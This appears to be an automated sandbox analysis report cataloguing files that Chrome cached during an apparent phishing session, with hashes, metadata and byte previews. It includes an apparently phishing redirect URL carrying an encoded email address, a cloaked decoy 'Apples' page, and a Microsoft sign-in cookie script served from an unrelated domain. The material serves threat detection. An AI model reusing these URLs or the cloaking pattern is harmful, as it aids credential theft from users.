SHA-256:	A1F4EC74A68D65FDDEC1F02287249A6A760A8CB5DA4F2C0BBFA0E44F8A624558
SHA-512:	FAB0A39F3E9F7CC356936C0FF3E8034C547637CD328B0FC7798D7322D14CFC83108C88A37D7A141B3AB33C5DB963A840070F32BB6A0F8E2D7BBF676F48052ABD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......$\.6......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.InY.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VnY.\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VnY.\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VnY.\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VnY.\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 14 14:39:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9952514153269556
Encrypted:	false
SSDEEP:	48:8GPdlTG7zoHjidAKZdA1VehBiZUk1W1qeh65y+C:8GXYh9a5y
MD5:	9B0F73E973B0564EB6C93CF3435D329C
SHA1:	AFAB5EB8263C9CEA608DE56D1CCF397922E7CC4F
SHA-256:	EA3A878D73FCD3928C4FC91F8DF691111066D2AD4231AB3D23402A54CE52E011
SHA-512:	6B13F460558F98B61CA11073B6FB2F58451BF7D14CE7359614F51107BC0A7C14DB839D3FD8EB6D9255C3F6269130C6A9CBA4104F4E52A4999DE9A17620BA7E7B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......3\.6......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.InY.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VnY.\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VnY.\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VnY.\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VnY.\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 14 14:39:15 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.003671312733106
Encrypted:	false
SSDEEP:	48:89PdlTG7zoHjidAKZdA1duT6ehOuTbbiZUk5OjqehOuTb45y+yT+:89XYxTTTbxWOvTb45y7T
MD5:	FFB5BE7354DDACD76FA6DAD38DD082B2
SHA1:	A6AD7709CC64CB0FE2E29575A1C5FBD144725B64
SHA-256:	FC9EA352448BB2C8D1E4EE7D8843BEA7AA82E2295CABDE9EA5C50B399FC97060
SHA-512:	25C8497E770C64367D2D5D33B1A1E3C13A73CD81DB456683311B4ABCDF0C89199B5E02300A60337A1EF160FBFE06C581A6567A377A28385EFF0AFC30C9EB1560
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....X..\.6......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.InY.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VnY.\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VnY.\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VnY.\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VnY.\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (59059), with CRLF line terminators
Category:	downloaded
Size (bytes):	61982
Entropy (8bit):	5.25131722027198
Encrypted:	false
SSDEEP:	1536:YcwryytRPz1BpFnbYRoYIf+b0RP1DxngRnD+zKiaeTpysF6x:YceyytRPz1BvbYRPIf+wRP1DID1iaeTw
MD5:	DB4DC3564EA6ED521F8CA8347FDC3C1C
SHA1:	AD4DB0A2044A98C9B9E7567D90792AD4203477F8
SHA-256:	ED20224D8B793767BC9457AAAD5D623D47F9E036245CEC6E32EF560422D3F1DE
SHA-512:	D048308F9F0A8C46C05CA4CE60840008904A50F8F992A497675545AB0CA7287B2DECD0DD4D76200506AB80084418DE1B792181DC500443283990CFBEB13C576D
Malicious:	false
Reputation:	low
URL:	https://iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t
Preview:	......<!DOCTYPE html>..<html>..<head>.. .. <meta name="description" content="Apples are one of the most popular fruits in the world, and for good reason. They are delicious, nutritious, and versatile. This article will provide you with everything you need to know about apples, including their history, types, health benefits, and how to eat them." />..</head>..<body>.. <div id="s63hd" style="display:none">.. <h1>Apples: A Comprehensive Guide</h1>.... <p>Apples are one of the most popular fruits in the world, and for good reason. They are delicious, nutritious, and versatile. Apples can be eaten fresh, cooked, or baked, and they are used in a wide variety of dishes.</p>.... <section id="history">.. <h2>History of apples</h2>.... <p>Apples have been cultivated for thousands of years. The earliest evidence of apple cultivation dates back to Central Asia, where apples were grown around 6500 BC. Apples were eventually introduced to Europe and North America, an

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3448), with CRLF line terminators
Category:	downloaded
Size (bytes):	3450
Entropy (8bit):	5.125112947568986
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLLFsushswsosry:a2IYz95qTdBa2
MD5:	230972FC9AB9689981ED66BD1520DCDF
SHA1:	E4017E236B987F8AA010281894C5C91999F18910
SHA-256:	B9467C4A7C6A9F55915DD2F5AFC087D9BC04F859FA18F5C40F5F4DE42618E861
SHA-512:	4A54004004AE3CF7CC12F6C66B31E45815726E90639C177BC564420DB98CE087B2A6FD8078FA7A226C079E5FE4125000ABF90782C3B93A050C0320D495D2AC43
Malicious:	false
Reputation:	low
URL:	https://butter2.mnrov.eg-mart.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25695)
Category:	downloaded
Size (bytes):	26668
Entropy (8bit):	5.187975659586246
Encrypted:	false
SSDEEP:	384:DipbpSfn+aiGAhZUf3nsCVcgfTnLiylcURq0/A3bFphX/S5Q:qtVBUPnVcgbnrblQ
MD5:	23FC7EC7A5AEF418D4A703034E6F3F83
SHA1:	A36BB28ACC4F8943189AB4A7436B9C4716D48EED
SHA-256:	D53D9957A7073B965147291AE6F4D812DF1CC06DA4D2BB3E98622FEDC5809265
SHA-512:	0C387D5B621EF6A6B8053DEC083FECB8F7C7823755C85505A5CF0B20267AAD5805BBDCD20FCC465C3B7FD24280C6459BCC3D5E991D571DBBF8BEE12275146A81
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_89db715e3340a2e8ecd8.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[26],{496:function(e,n,t

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSFwm3eYxa008f5xIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14782)
Category:	downloaded
Size (bytes):	15755
Entropy (8bit):	5.366543080044668
Encrypted:	false
SSDEEP:	384:DveX/4OSgcn2ZU2ZfeXOh+rF3X1qDZD4zfXdv79HU:q/9i57hU
MD5:	630831903F4BA9060856520624E34CFC
SHA1:	36DC15B9CCC3FC8EF627354BF55EF44EBD10E203
SHA-256:	BC6804D058D5BD5B24FC04E479FC8973BEF5D3EFEAFAA9C19C60A009BF0FAC0B
SHA-512:	1B0759972BBAB0B1A11D54849051E6782600B74FADB1CAF1BD58D214F484E35154907CA7F396EDB1C81A7CDC6F264D138267FB58FD89E1BA3A4D67366EE7E8B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{519:function(e,n,s

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	dropped
Size (bytes):	113769
Entropy (8bit):	5.492540089333064
Encrypted:	false
SSDEEP:	1536:RS8gIRPY0+r5qnWisLTfM6tQSqLXCIIgbgZ1uXt1EN5eAfGqOD:vgDTMnWRwvDIgb0q7Eb9u
MD5:	C6C029BA88D52E5312FEC69603A00340
SHA1:	079011F6F0662C11AE907C773EFE8E0C9338EAD0
SHA-256:	DDD0BB1C19B3D2D045BFCDE85D2020BBA57854C887A6691B66DBA3DA1BB3AFBE
SHA-512:	7DF09CD949A43D53D62D9013718158966508DEC2338491FFB38DC33D2EB85FF5C699792AE578975DA0E4F03CC7EA03774624208D06924EEA4C2EAC92E6E22C60
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{1373:function(e,t,

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 960x540, components 3
Category:	downloaded
Size (bytes):	234265
Entropy (8bit):	7.9735200108036555
Encrypted:	false
SSDEEP:	6144:CqkmRBATZdNCmJwSUBpIlbcTaOAdKI6T8vYvL0UeQNJPyRgs:CBbAnPBEbXOAYFwWpTqRgs
MD5:	01ABDE4E56C6A5881EB595696ECE68C1
SHA1:	8F2AD28139E7306719B2767FAEE8D75CFAB9D34F
SHA-256:	BEE8ED104A402AEE7646FE69BF4B527468C171634CB2489212554482E5FA87DE
SHA-512:	6C7A80548EF6DA2FC9286F0212FA22D6780A83E404C3E7CC0F70C1BDFEE75E2B76BA4FF093EC0B0721320304625D4179AA9AD07AC2F44630DA655BE7A62BCEB0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauthimages.net/c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/illustration?ts=638633096749532030
Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:9F053F04776811EFB2D1BD1F099291BC" xmpMM:InstanceID="xmp.iid:9F053F03776811EFB2D1BD1F099291BC" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="C59071A4542AACD72A437A819EB3EA32" stRef:documentID="C59071A4542AACD72A437A819EB3EA32"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................................

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	downloaded
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32009)
Category:	downloaded
Size (bytes):	57443
Entropy (8bit):	5.372940573746363
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3D7ym+d/Px25+1wtvGixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJz7ym+d/Po5+1wtvGiJig/Ml
MD5:	D580777BB3A28B94F6F1D18EE17AEDA3
SHA1:	E78833A2DB1AA97DA3F4A1994E6AF1F0D74D7CC7
SHA-256:	81188E8A76162C79DB4A5C10AC933C9E874C5B9EAE10E47956AD9DF704E01B28
SHA-512:	E3F5FFE3E7E54A7D640DF3BC06D336C9F936635D2594159B3EA5EDAEFBA6D6774060A532E0CBE0664FDC65806BD53E9BFC19C11F7946A5E157A9EC935C564378
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25695)
Category:	dropped
Size (bytes):	26668
Entropy (8bit):	5.187975659586246
Encrypted:	false
SSDEEP:	384:DipbpSfn+aiGAhZUf3nsCVcgfTnLiylcURq0/A3bFphX/S5Q:qtVBUPnVcgbnrblQ
MD5:	23FC7EC7A5AEF418D4A703034E6F3F83
SHA1:	A36BB28ACC4F8943189AB4A7436B9C4716D48EED
SHA-256:	D53D9957A7073B965147291AE6F4D812DF1CC06DA4D2BB3E98622FEDC5809265
SHA-512:	0C387D5B621EF6A6B8053DEC083FECB8F7C7823755C85505A5CF0B20267AAD5805BBDCD20FCC465C3B7FD24280C6459BCC3D5E991D571DBBF8BEE12275146A81
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[26],{496:function(e,n,t

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3448), with CRLF line terminators
Category:	downloaded
Size (bytes):	3450
Entropy (8bit):	5.125112947568986
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLLFsushswsosry:a2IYz95qTdBa2
MD5:	230972FC9AB9689981ED66BD1520DCDF
SHA1:	E4017E236B987F8AA010281894C5C91999F18910
SHA-256:	B9467C4A7C6A9F55915DD2F5AFC087D9BC04F859FA18F5C40F5F4DE42618E861
